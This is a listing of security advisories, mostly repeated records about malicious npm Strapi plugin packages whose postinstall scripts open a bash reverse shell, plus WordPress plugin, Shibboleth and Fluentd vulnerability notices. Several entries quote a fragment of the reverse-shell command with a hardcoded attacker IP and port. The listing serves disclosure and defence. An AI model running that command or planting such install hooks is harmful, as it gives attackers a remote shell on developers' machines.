290719 matches found
MAL-2026-16185 Malicious code in strapi-plugin-revs01-meeb322k (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 981b426b3809283ad517caf0032d403db2c479faa3c717620151cbfabcc9b81c [email protected] ships a postinstall lifecycle script scripts.postinstall = node postinstall.js that spawns /bin/bash via...
Malicious code in strapi-plugin-proccresh-meeb (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c65ca459d74b0be577eb0a1476ec8b9de089a524019ea9ef0061c5ee42e00729 strapi-plugin-proccresh-meeb ships a postinstall dropper that opens a bash reverse shell to the hardcoded IP 14.225.210.85 on TCP/443 at npm install...
MAL-2026-16182 Malicious code in strapi-plugin-proccresh-meeb (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c65ca459d74b0be577eb0a1476ec8b9de089a524019ea9ef0061c5ee42e00729 strapi-plugin-proccresh-meeb ships a postinstall dropper that opens a bash reverse shell to the hardcoded IP 14.225.210.85 on TCP/443 at npm install...
Malicious code in strapi-plugin-resh-meeb322k (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3016b01076e22e0a7bfd8e255bb5a5e03bdfe776f0dc16e60878210b5335fd42 [email protected] declares a postinstall lifecycle script that executes postinstall.js on npm install. The script invokes bash -c 'ba...
MAL-2026-16183 Malicious code in strapi-plugin-resh-meeb322k (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3016b01076e22e0a7bfd8e255bb5a5e03bdfe776f0dc16e60878210b5335fd42 [email protected] declares a postinstall lifecycle script that executes postinstall.js on npm install. The script invokes bash -c 'ba...
Malicious code in strapi-plugin-tryccresh-meeb (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f55571a74d951028d497f98afecfee7720d6ae4138513ead2c2fa46b7f96e5af The package's postinstall lifecycle script postinstall.js uses childprocess.exec to spawn bash -c 'bash -i /dev/tcp/14.225.210.85/443...', opening an...
MAL-2026-16190 Malicious code in strapi-plugin-tryccresh-meeb (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f55571a74d951028d497f98afecfee7720d6ae4138513ead2c2fa46b7f96e5af The package's postinstall lifecycle script postinstall.js uses childprocess.exec to spawn bash -c 'bash -i /dev/tcp/14.225.210.85/443...', opening an...
MAL-2026-16188 Malicious code in strapi-plugin-rs-meeb322k (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6293e711bb544c63fcc29178febb4100cee80f9cbd1060b3c3173445419a172c postinstall.js runs unconditionally during npm install via scripts.postinstall and executes a bash reverse shell that redirects an interactive shell'...
Malicious code in strapi-plugin-rs-meeb322k (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6293e711bb544c63fcc29178febb4100cee80f9cbd1060b3c3173445419a172c postinstall.js runs unconditionally during npm install via scripts.postinstall and executes a bash reverse shell that redirects an interactive shell'...
MAL-2026-16181 Malicious code in strapi-plugin-plsresh-meeb (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ae27e46ab1160942d8d569f2237b9890a5f0a2cac36171ced091678c2a876c44 The package's postinstall lifecycle script runs a bash reverse shell that opens a TCP connection to the hardcoded host 14.225.210.85 on port 443 and...
Malicious code in strapi-plugin-plsresh-meeb (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ae27e46ab1160942d8d569f2237b9890a5f0a2cac36171ced091678c2a876c44 The package's postinstall lifecycle script runs a bash reverse shell that opens a TCP connection to the hardcoded host 14.225.210.85 on port 443 and...
Malicious code in strapi-plugin-ccresh-meeb (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5c91c798c5a3429b252f74193e2a84c6406347ced8fa9010bdd7d338af5c8797 The package's postinstall lifecycle script scripts.postinstall: node postinstall.js unconditionally invokes /bin/bash with an interactive reverse-she...
MAL-2026-16180 Malicious code in strapi-plugin-ccresh-meeb (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5c91c798c5a3429b252f74193e2a84c6406347ced8fa9010bdd7d338af5c8797 The package's postinstall lifecycle script scripts.postinstall: node postinstall.js unconditionally invokes /bin/bash with an interactive reverse-she...
WordPress Online Scheduling and Appointment Booking System plugin <= 28.1 - Insecure Direct Object Reference to Unauthenticated Sensitive Data Access and Message Injection via 'conversation_id' Parameter vulnerability
Insecure Direct Object Reference to Unauthenticated Sensitive Data Access and Message Injection via 'conversationid' Parameter vulnerability discovered by jtb75 - NG20 LLC in WordPress Plugin Bookly versions = 28.1...
WordPress Bold Page Builder plugin <= 5.9.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'shortcode_content' Parameter vulnerability
Authenticated Contributor+ Stored Cross-Site Scripting via 'shortcodecontent' Parameter vulnerability discovered by suyoung kimAhnLab - AhnLab in WordPress Plugin Bold Page Builder versions = 5.9.6...
WordPress WP-Lister Lite for eBay plugin <= 3.8.9 - Unauthenticated Stored Cross-Site Scripting via AJAX Cron Handler Request vulnerability
Unauthenticated Stored Cross-Site Scripting via AJAX Cron Handler Request vulnerability discovered by thevietronin - GalaxyOne in WordPress Plugin WP-Lister Lite for eBay versions = 3.8.9...
WordPress JetFormBuilder plugin <= 3.6.2 - Unauthenticated Privilege Escalation via '_jet_engine_booking_form_id' Parameter
Unauthenticated Privilege Escalation via 'jetenginebookingformid' Parameter vulnerability discovered by daroo in WordPress Plugin JetFormBuilder versions = 3.6.2...
USN-8768-1 shibboleth-sp vulnerability
Florian Stuhlmann discovered that Shibboleth incorrectly escaped input when using the ODBC storage plugin. A remote attacker could possibly use this issue to perform SQL injection attacks and obtain sensitive information...
USN-8768-1: Shibboleth vulnerability
Florian Stuhlmann discovered that Shibboleth incorrectly escaped input when using the ODBC storage plugin. A remote attacker could possibly use this issue to perform SQL injection attacks and obtain sensitive information...
CVE-2026-44163
CVE-2026-44163 affects the fluent-plugin-opentelemetry plugin for Fluentd, specifically the in_opentelemetry HTTP input. Prior to version 0.5.3 , the plugin read the entire incoming request body and decompressed payloads into memory without enforcing maximum size thresholds . An attacker on an un...